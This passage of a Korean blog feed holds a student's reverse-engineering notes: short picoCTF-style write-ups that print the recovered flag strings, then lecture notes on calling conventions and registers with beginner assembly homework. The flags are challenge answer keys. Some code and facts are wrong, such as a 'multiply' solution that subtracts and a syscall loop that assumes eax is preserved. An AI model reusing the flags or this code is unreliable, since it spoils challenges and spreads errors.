단순히 변수 flag의 값을 출력하는 프로그램인 것 같았다.
따라서 변수 flag에 들어있는 값을 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/0fb1963e-6395-4a8e-923d-598af4c163ba/image.png" alt=""></p>
<blockquote>
</blockquote>
<p>그 결과로 다음과 같은 플래그 값을 알 수 있었다.</p>
<blockquote>
<blockquote>
<p>picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}</p>
</blockquote>
</blockquote>
<h2 id="picoctf-file-run-2">[PicoCTF] file-run 2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-11">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/b55a8bcc-3d2c-47c7-838c-ac5c420d0548/image.png" alt=""></p>
<pre><code>printf(&quot;The flag is : %s&quot;, flag);</code></pre><p>다음과 같은 출력 명령어를 주었으니, 변수 flag에 어떤 값이 들어있는지 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/06a4490b-997a-4591-b3e2-1c0285608af9/image.png" alt="">
확인해보니 다음과 같은 플래그 값이 들어있었다.</p>
<blockquote>
<blockquote>
<p>picoCTF{F1r57_4rgum3n7_96f2195f}</p>
</blockquote>
</blockquote>
<h2 id="merong">Merong</h2>
<blockquote>
</blockquote>
<h3 id="풀이-12">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/4a8efb13-cdc6-49e0-8304-426bcb200139/image.png" alt="">
입력받은 s1의 값과 변수 aEae41779bdf799의 값을 비교했을 때,
똑같으면 참, 다르다면 거짓을 반환하는 조건문이다.</p>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/31e26cc2-3821-4f8d-b56c-59829c76ea93/image.png" alt="">
따라서 변수 aEae41779bdf799 안에 들어있는 문자열을 조사해 보았다.
그랬더니 다음과 같은 문자열이 입력되었을 때, &#39;참&#39;이 되는 것을 알 수 있었다.</p>
<blockquote>
</blockquote>
<p>함수 main을 디컴파일 했을 때</p>
<pre><code>printf(&quot;flag: FLAG{%S}&quot;, s1);</code></pre><blockquote>
</blockquote>
<p>다음과 같은 출력 명령문을 보았으니 플래그 형식은 FLAG{} 일 것이다.</p>
<blockquote>
</blockquote>
<p>따라서 제출할 플래그 값은 다음과 같다.</p>
<blockquote>
<blockquote>
<p>FLAG{eae41779bdf7990ade62d10c8f550dc1056f6a9f1b48a87d561f4ef49df17220}</p>
</blockquote>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 2차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-2%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-2%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Fri, 30 May 2025 09:21:56 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="함수-호출-규약-calling-convention">함수 호출 규약 (Calling Convention)</h1>
<ul>
<li>호출자와 피호출자 간에 데이터(파라미터)를 전달할 때의 규칙</li>
<li>함수 호출 전후에 레지스터나 스택을 다룰 방법을 정해 놓은 약속<h2 id="함수-호출-규약의-종류">함수 호출 규약의 종류</h2>
CPU 아키텍처와 컴파일러 종류에 따라 호출 규약 역시 바뀜
EX) x64(32bit) / x64-86 (64bit)<blockquote>
</blockquote>
x64(32bit)
레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적어 스택을 이용하는 함수 호출 규약 사용<blockquote>
</blockquote>
<h2 id="x86-호출-규약">x86 호출 규약</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="cdecl">Cdecl</h2>
</li>
<li>인자를 오른쪽에서 왼쪽 순서로 스택에 push</li>
<li>함수 호출 이후, Caller(호출자)가 스택 정리</li>
<li>스택은 낮은 주소에서 높은 주소 방향으로 push</li>
<li>함수 호출 규약을 지정하지 않으면 cdecl을 사용<h2 id="cdecl-stack-frame">Cdecl Stack Frame</h2>
<img src="https://velog.velcdn.com/images/shin_yy/post/f03af9d4-d691-451e-bfec-5ca6b2354097/image.png" alt=""><h3 id="요점">요점</h3>
메모리 구조상 스택은 높은 주소에서 낮은 주소로 올라가며, cdecl은 caller가 스택을 정리한다. 리버싱에서 함수 인자나 지역 변수를 찾을 때 스택 프레임 구조와 오프셋이 핵심이라고 한다. 스택에서는 RET adress가 push되므로, BOF같은 공격이 가능하다.<h2 id="stdcall">Stdcall</h2>
</li>
<li>인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자</li>
<li>WinAPI에서 사용하고 함수가 끝나면 스택을 정리<h3 id="cdecl과-stdcall-비교">Cdecl과 Stdcall 비교</h3>
<pre><code>              cdecl                    stdcall
인자 정리        호출자(caller)            피호출자(callee)
인자 전달 순서    오른쪽 &gt; 왼쪽            오른쪽 &gt; 왼쪽
가변 인자 지원    가능                        불가능
함수명 맹글링        그대로(func)                _func@8(인자 크기 포함)
스택 안정성        낮음(호출자 실수 가능)    높음(callee가 항상 정리)
사용 예            일반 C 함수, GCC 환경        Windows 환경</code></pre><h2 id="fastcall">Fastcall</h2>
</li>
<li>성능 향상을 위해 일부 인자를 레지스터를 통해 전달</li>
<li>Microsoft 컴파일러 / Windows 성능이 민감한 코드에 사용</li>
<li>앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달</li>
<li>피호출자이며 ECX, EDX를 사용, 성능 향상이 목적<h2 id="fastcall-특징">Fastcall 특징</h2>
<pre><code>인자 전달 순서                     오른쪽 &gt; 왼쪽
첫 번째, 두 번째 인자             ECX, EDX 레지스터
나머지 인자                         스택에 저장
스택 정리                         callee (피호출자)
함수명 맹글링                     _@함수명@인자크기 (MSVC기준)
반환값                            EAX</code></pre><blockquote>
</blockquote>
<h2 id="x86-64-sysv">x86-64-SYSV</h2>
</li>
<li>Linux, MacOs 등에서 사용하는 호출 규약<h3 id="x86-6-system-v">x86-6 System V</h3>
리눅스 및 유닉스 계열 OS에서 널리 사용되는 함수 호출 규약<pre><code>함수 반환값        RAX Register 저장
스택 정렬        16 Byte 단위로 정렬
!! 함수 호출 전에 스택 포인터 RSP는 항상 16의 배수 !!</code></pre><h2 id="x84-64-prologue">x84-64 Prologue</h2>
</li>
<li>함수 시작 직후 실행, 스택 프레임을 설정<h3 id="함수가-실행되기-전">함수가 실행되기 전</h3>
</li>
</ul>
<ol>
<li>Srack Frame 설정</li>
<li>Register 백업</li>
<li>지역 변수 공간 확보 -&gt; 함수 내 메모리 공간을 준비<pre><code>push ebp/rbp        이전 함수의 베이스 포인터 값을 Stack에 저장
&gt;
mov  ebp,esp        현재 stack 포인터(esp)를 base 포인터(ebp)로 복사
                 새로운 스택 프레임 기준 설정
sub     esp,XXX        지역 변수 공간 확보를 위해 stack 포인터를 감소</code></pre><h2 id="x84-64-epilogue">x84-64 Epilogue</h2>
</li>
</ol>
<ul>
<li>함수 종료 직전 실행, 스택 상태 복구 및 호출자에게 제어 반환<h3 id="함수가-종료-후">함수가 종료 후</h3>
</li>
</ul>
<ol>
<li>Srack Frame 해제 -&gt; 함수 호출 전 상태 복구</li>
<li>Regist 및 stack 상태 복원 후, Return Address로 복구<pre><code>mov  esp/ebp        스택 포인터를 Base Pointer 위치로 복구
pop  ebp            이전 함수의 Base Pointer 값 복원
ret                    호출한 함수로 복귀</code></pre><blockquote>
</blockquote>
<h2 id="아키텍처-architecture">아키텍처 (Architecture)</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="아키텍처란">아키텍처란?</h3>
</li>
</ol>
<ul>
<li>CPU가 명령어를 처리하는 방식을 나타냄</li>
<li>하드웨어 시스템의 전반적인 구조와 동작을 나타냄<blockquote>
</blockquote>
<h2 id="x64-register">x64 Register</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="범용-레지스터">범용 레지스터</h2>
<h3 id="데이터-연산을-위해-사용되는-레지스터">데이터 연산을 위해 사용되는 레지스터</h3>
<pre><code>EAX     산술 연산 및 논리 연산 수행 + 함수의 반환값 저장
EBX     메모리 주소 저장
ECX     반복문 사용 시 카운터로 사용
EDX     EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산
EDI     복사할 때 목적지 주소 저장
ESI     데이터를 조작하거나 복사할 때 데이터의 주소 저장
ESP     메모리 스택의 끝 지점 주소 포인터
EBP         메모리 스택의 첫 지점 주소 포인터
EIP        다음에 실행해야 할 명령어의 주소 포인터</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="세그먼트-레지스터">세그먼트 레지스터</h2>
<h3 id="아키텍처-메모리를-세그먼트-단위로-접근할-때-사용되는-특수한-레지스터">아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터</h3>
<pre><code>CS         기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴
DS         프로그램에 정의된 데이터 영역의 시작 주소를 가리킴
SS         연산 결과 등을 임시로 저장 / 삭제할 때 사용
      스택 영역의 시작부분을 가리킴
ES         추가로 사용된 데이터 세그먼트의 주소를 가리킴
FS         여분 레지스터
GS         여분 레지스터</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="플래그-레지스터">플래그 레지스터</h2>
<h3 id="cpu가-연산을-수행한-후-결과의-상태를-저장하는-특수한-레지스터">CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터</h3>
<h3 id="--조건문-등에-사용되어짐">-&gt; 조건문 등에 사용되어짐</h3>
<pre><code>ZF         연산결과가 0일 경우 참
CF         부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참
AF         연산 결과 하위 4 bit에서 비트 범위를 넘으면 참
OF         부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참
SF         연산 결과가 음수면 참
PF         연산 결과에서 1로 된 비트의 수가 짝수면 참
DF         문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가
TF         디버깅에 사용</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="명령어-포인터-레지스터">명령어 포인터 레지스터</h2>
<pre><code>rip     CPU가 실행시킬 코드를 가리키며 8byte의 크기를 지님</code></pre></li>
</ul>
<blockquote>
</blockquote>
<h2 id="caller--callee">Caller / Callee</h2>
<ul>
<li>Caller : 호출자. 함수를 호출</li>
<li>Callee : 피호출자. 호출을 당하는 함수<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-c언어-프로그래밍-도중-함수를-호출해야할-때">EX) C언어 프로그래밍 도중 함수를 호출해야할 때</h3>
<pre><code>#include &lt;stdio.h&gt;
int (함수명)(매개변수) {     &lt;- 피호출자 (Callee)</code></pre></li>
</ul>
<hr>
<p>return 0; 
}</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main() {</p>
</blockquote>
<hr>
<p>(함수명)(매개변수);        &lt;- 호출자 (Caller)</p>
<hr>
<p>return 0;
}</p>
<pre><code>

&gt;
# 과제 1
## 1 - 2557
### &quot;Hello World!&quot;를 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main(){
    printf(&quot;Hello World!&quot;);
    return 0;
}</p>
</blockquote>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    str db &quot;Hello World!&quot;
    &gt;&gt;
section .text
    global _start
    &gt;&gt;
_start:
    &gt;&gt;
    mov rax, 1        &lt;- 시스템 콜 번호 1 (sys_write)
    mov rdi, 1
    mov rsi, str
    mov rdx, 13
    syscall            &lt;- syscall 실행
    &gt;&gt;
    mov rax, 60
    mov rdi, 0
    syscall</p>
<pre><code>&gt;
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- str에 &quot;Hello World!&quot; 문자열 삽입
### _start
- rdi = 1: stdout
- rsi = num: 출력할 문자열
- rdx = 13: 출력할 문자열 길이
- write 시스템 콜을 사용해서 &quot;Hello World!&quot;을 출력
시스템 콜 번호 1은 sys_write

&gt;
## 2 - 10171
### 고양이를 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main(void) {
    printf(&quot;\    /\\n&quot;);
    printf(&quot; )  ( &#39;)\n&quot;);
    printf(&quot;(  /  )\n&quot;);
    printf(&quot; \(__)|\n&quot;);
    return 0;
}</p>
</blockquote>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    cat db  &quot;\    /&quot;, 10, <br>                &quot; )  ( &#39;)&quot;, 10, <br>                &quot;(  /  )&quot;, 10, <br>                &quot; (__)|&quot;, 10
    catlen  equ $ - catmsg</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .text
    global _start</p>
<blockquote>
</blockquote>
<p>_start:
    mov     rax, 1
    mov     rdi, 1<br>    mov     rsi, cat
    mov     rdx, catlen 
    syscall</p>
<blockquote>
</blockquote>
<pre><code>; exit(0)
mov     rax, 60        
xor     rdi, rdi        
syscall</code></pre></blockquote>
<pre><code>&gt;
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- cat에 출력하고자하는 모양 삽입
### _start
- rdi = 1: stdout
- rdx = catlen : catlen에 저장된 값을 출력할 크기로 저장
- write 시스템 콜을 사용해서 cat에 담긴 모양 출력

&gt;
## 3 - 1000
### 두 수를 입력받고 더한 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a+b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
add eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x+y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
## 4 - 1001
### 두 수를 입력받고 뺀 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a-b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
sub eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x-y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
## 5 - 10998
### 두 수를 입력받고 곱한 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a-b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
imul eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x*y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
# 과제 2
![](https://velog.velcdn.com/images/shin_yy/post/894fd5ba-872f-48a3-ab91-b06e976bbf4c/image.png)</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 1차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-1%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-1%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Mon, 26 May 2025 08:00:30 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="리버싱">리버싱</h1>
<h2 id="리버싱이란">리버싱이란?</h2>
<h3 id="리버스-엔지니어링reverse-engineering">리버스 엔지니어링(Reverse Engineering)</h3>
<p>Reverse - 뒤집다
Engineering - 공학</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li><strong>역공학</strong>이라고 해석 가능</li>
<li>완성된 프로그램을 <strong>해체하고 분석</strong>하여 구조와 기능, 디자인을 <strong>파악하는 기술</strong>을 의미</li>
<li>리버싱은 각종 악성코드나 불법 프로그램에 <strong>대응</strong>을 위해 사용</li>
<li>구조, 기능, 동작 등을 역으로 추적하여 분석하고 원리를 이해하며 부족한 부분을 보완하며 새로운 기능 등을 추가하는 작업<blockquote>
</blockquote>
<h2 id="리버싱-방법">리버싱 방법</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>정적 분석</li>
<li><em>파일의 겉모습을 관찰*</em>하여 <strong>분석</strong>하는 방법
파일을 열지 않고 파일 종류, 헤더, 디스어셈블리어, 디컴파일러로 분석
디스어셈블러를 이용해서 <strong>내부코드와 구조</strong>를 확인하는 방법<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>동적 분석</li>
<li><em>파일을 실행*</em>하며 코드 흐름과 메모리 상태 등으로 분석하는 방법
레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석
디버거를 이용하여 프로그램 <strong>내부 구조와 동작 원리</strong>를 분석<blockquote>
</blockquote>
<h2 id="리버싱을-배우기-위해-필요한-지식">리버싱을 배우기 위해 필요한 지식</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>컴퓨터 구조</li>
<li>ISA</li>
<li>Byte Ordering</li>
<li>Encoding/Decoding</li>
<li>운영 체제</li>
<li>메모리 구조, 컴파일, 인터프리터</li>
</ul>
<blockquote>
</blockquote>
<h1 id="어셈블리어-assembler">어셈블리어 (Assembler)</h1>
<h2 id="구조">구조</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/89afd5f1-7e42-41b0-bbf3-36711e7053fa/image.jpg" alt=""></p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="sectiondata">section.data</h3>
<ul>
<li>데이터 영역</li>
<li>초기값이 있는 데이터를 저장 (문자열, 상수 등)<h3 id="sectionbss">section.bss</h3>
</li>
<li>비어 있는 데이터 영역</li>
<li>초기값 없이 공간만 필요한 변수를 저장 (입력 버퍼 등)<h3 id="sectiontext">section.text</h3>
</li>
<li>코드 영역</li>
<li>명령어가 들어가는 부분 (기계어로 번역될 명령어/코드)<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="sectiontext-1">section.text</h3>
<h3 id="global_start">global_start;</h3>
</li>
<li>링커에게 시작할 위치를 알려줌<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="_start">_start:</h3>
</li>
<li>실행할 명령어 작성</li>
<li>프로그램이 실행될 때 <strong>가장 먼저 실행</strong>되는 지점</li>
<li>C언어의 main() 함수와 비슷하지만, 운영체제가 <strong>직접 호출</strong>하는 주소</li>
</ul>
<blockquote>
</blockquote>
<h1 id="아키텍처-architecture">아키텍처 (Architecture)</h1>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="아키텍처란">아키텍처란?</h3>
<ul>
<li>CPU가 명령어를 처리하는 방식을 나타냄</li>
<li>하드웨어 시스템의 전반적인 구조와 동작을 나타냄<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="주요-아키텍처-비교">주요 아키텍처 비교</h3>
<pre><code>          x86            x86-64        ARM                ARM64
주소 크기    32bit        64bit        32bit            64bit
레지스터     EAX,EBX        RAX,RBX        R0~R15            X0~x30
엔디안        Little        Little        Little / Big    Little (일반적으로)</code></pre>x86-64는 x86 아키텍처와 호환되는 64bit 아키텍처</li>
<li>32 / 64bit 아키텍처 -&gt; 32 / 64bit는 CPU가 한 번에 처리 할 수 있는 데이터의 크기<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="word">WORD</h3>
</li>
<li>하나의 기계어 명령어, 연산을 통해 저장된 장치에서 컴퓨터 프로세서로 옮겨 놓을 수 있는 데이터 단위</li>
<li>WORD의 길이는 컴퓨터의 데이터 버스 크기와 같음</li>
<li>한번의 작업으로 저장장치에서 프로세서 레지스터로 데이터를 이동시킴<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li><blockquote>
<p>CPU가 한 번에 처리할 수 있는 데이터의 크기</p>
</blockquote>
</li>
</ul>
<blockquote>
</blockquote>
<h1 id="x64-register">x64 Register</h1>
<h2 id="레지스터의-종류">레지스터의 종류</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="범용-레지스터">범용 레지스터</h2>
<h3 id="데이터-연산을-위해-사용되는-레지스터">데이터 연산을 위해 사용되는 레지스터</h3>
<ul>
<li>EAX 산술 연산 및 논리 연산 수행 + 함수의 반환값 저장</li>
<li>EBX 메모리 주소 저장</li>
<li>ECX 반복문 사용 시 카운터로 사용</li>
<li>EDX EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산</li>
<li>EDI 복사할 때 목적지 주소 저장</li>
<li>ESI 데이터를 조작하거나 복사할 때 데이터의 주소 저장</li>
<li>ESP 메모리 스택의 끝 지점 주소 포인터</li>
<li>EBP 메모리 스택의 첫 지점 주소 포인터</li>
<li>EIP 다음에 실행해야 할 명령어의 주소 포인터 <blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="세그먼트-레지스터">세그먼트 레지스터</h2>
<h3 id="아키텍처-메모리를-세그먼트-단위로-접근할-때-사용되는-특수한-레지스터">아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터</h3>
</li>
<li>CS 기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴</li>
<li>DS 프로그램에 정의된 데이터 영역의 시작 주소를 가리킴</li>
<li>SS 연산 결과 등을 임시로 저장 또는 삭제할 때 사용하는 스택 영역의 시작부분을 가리킴</li>
<li>ES 추가로 사용된 데이터 세그먼트의 주소를 가리킴</li>
<li>FS 여분 레지스터</li>
<li>GS 여분 레지스터<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="플래그-레지스터">플래그 레지스터</h2>
<h3 id="cpu가-연산을-수행한-후-결과의-상태를-저장하는-특수한-레지스터">CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터</h3>
<h3 id="--조건문-등에-사용되어짐">-&gt; 조건문 등에 사용되어짐</h3>
ZF 연산결과가 0일 경우 참
CF 부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참
AF 연산 결과 하위 4 bit에서 비트 범위를 넘으면 참
OF 부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참
SF 연산 결과가 음수면 참
PF 연산 결과에서 1로 된 비트의 수가 짝수면 참
DF 문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가
TF 디버깅에 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="명령어-포인터-레지스터">명령어 포인터 레지스터</h2>
</li>
<li>프로그램이 기계어로 이루어져 있을 때, CPU가 실행시킬 코드를 가리킴</li>
<li>명령어 레지스터는 rip이며, 8byte의 크기를 지님</li>
</ul>
<blockquote>
</blockquote>
<h1 id="함수-호출-규약-calling-convention">함수 호출 규약 (Calling Convention)</h1>
<ul>
<li>함수 호출 시 호출자와 피호출자 간에 어떻게 데이터를 주고받을지에 대한 규칙</li>
<li>함수에 인자를 전달 방법 / 반환값 저장 위치 / 함수 호출 전후에 레지스터나 스택을 다룰 방법에 대해 정해 놓은 약속<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="x86-호출-규약">x86 호출 규약</h2>
</li>
<li>Cdecl
인자 전달은 오른쪽에서 왼쪽으로 전달하고 호출자
기본 C언어 규약, 여러 인자를 지원하며 인자 함수를 지원</li>
<li>Stdcall
인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자
WinAPI에서 사용하고 함수가 끝나면 스택을 정리</li>
<li>Fastcall
앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달하고 피호출자이며 ECX, EDX를 사용하고 성능 향상이 목적이다.</li>
<li>Thiscall
this는 ECX에 전달하고 나머지는 스택에 전달하고 호출자
C++ 클래스 멤버 함수용으로 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="x86-64-프롤로그와-에필로그">x86-64 프롤로그와 에필로그</h2>
</li>
<li>함수를 호출하면 컴파일러는 정확한 규칙을 따라 어셈블리 코드를 생성</li>
<li>프롤로그(Prologue)와 에필로그(Epilogue)<h3 id="프롤로그prologue">프롤로그(Prologue)</h3>
</li>
<li>push     rbp --- 이전 함수의 프레임 포인터 저장</li>
<li>mov      rbp, rsp --- 현재 스택 포인터를 기준 프레임 포인터로 설정</li>
<li>sub      rsp, N --- 지역 변수나 정렬 공간 확보 (N은 16의 배수)<h3 id="에필로그epilogue">에필로그(Epilogue)</h3>
</li>
<li>mov rsp, rbp --- 스택 포인터 복원</li>
<li>pop rbp ---  이전 프레임 포인터 복원</li>
<li>ret --- 호출자 주소로 복귀<blockquote>
</blockquote>
함수가 끝나면 호출한 쪽(Caller)으로 돌아가야 함</li>
</ul>
<blockquote>
</blockquote>
<h1 id="과제">과제</h1>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h1 id="hello-layer7-12번-출력">Hello Layer7 12번 출력</h1>
<pre><code>section .data
    msg db &#39;Hello Layer7&#39;, 10     ; &quot;Hello Layer7&quot; 문자열 저장
    len equ $ - msg

section .text
    global _start

_start:
    ; 1
    mov eax, 4        ; 시스템 호출 번호 4 : sys_write &lt;- write 함수
    mov ebx, 1      ; 파일 디스크립터 1 : 출력 (stdout)
    mov ecx, msg    ; 출력할 문자열의 주소를 ECX에 이동
    mov edx, len    ; 출력할 길이를 EDX에 이동
    int 0x80        ; 커널 인터럽트를 호출해서 write 실행
    ; 2
    int 0x80
    ; 3
    int 0x80
    ; 4
    int 0x80
    ; 5
    int 0x80
    ; 6
    int 0x80
    ; 7
    int 0x80
    ; 8
    int 0x80
    ; 9
    int 0x80
    ; 10
    int 0x80
    ; 11
    int 0x80
    ; 12
    int 0x80

    ; exit
    mov eax, 1        ; 시스템 호출 번호 1 : sys_exit
    xor ebx, ebx    ; ebx = 0 (exit 코드 0)
    int 0x80        ; 커널 인터럽트 호출 -&gt; 종료</code></pre><blockquote>
</blockquote>
<h3 id="section-data">section .data</h3>
<ul>
<li>msg : 출력할 문자열 &quot;Hello Layer7&quot;에 줄바꿈 문자(ASCII 10, 즉 \n)</li>
<li>len : 문자열의 길이를 계산.
$는 현재 주소, msg는 시작 주소 → $ - msg는 문자열 전체 길이<h3 id="section-text">section .text</h3>
</li>
<li>프로그램의 시작을 _start 라벨을 외부(운영체제)에서 사용할 수 있도록 지정</li>
<li>Linux 커널이 실행을 시작할 때 _start 레이블을 기준으로 실행<h3 id="_start-1">_start:</h3>
</li>
<li>문자열 한 줄을 출력</li>
<li>int 0x80만 반복되어 총 12번 호출되며, 같은 메시지를 반복 출력<h3 id="반복-구조">반복 구조</h3>
</li>
<li>eax, ebx, ecx, edx 값이 바뀌지 않음
따라서 int 0x80 반복 호출시 같은 메시지를 반복 출력</li>
<li>&quot;Hello Layer7&quot; 12번 출력</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[컴퓨터구조_오답노트]]></title>
            <link>https://velog.io/@shin_yy/%EC%BB%B4%ED%93%A8%ED%84%B0-%EA%B5%AC%EC%A1%B0</link>
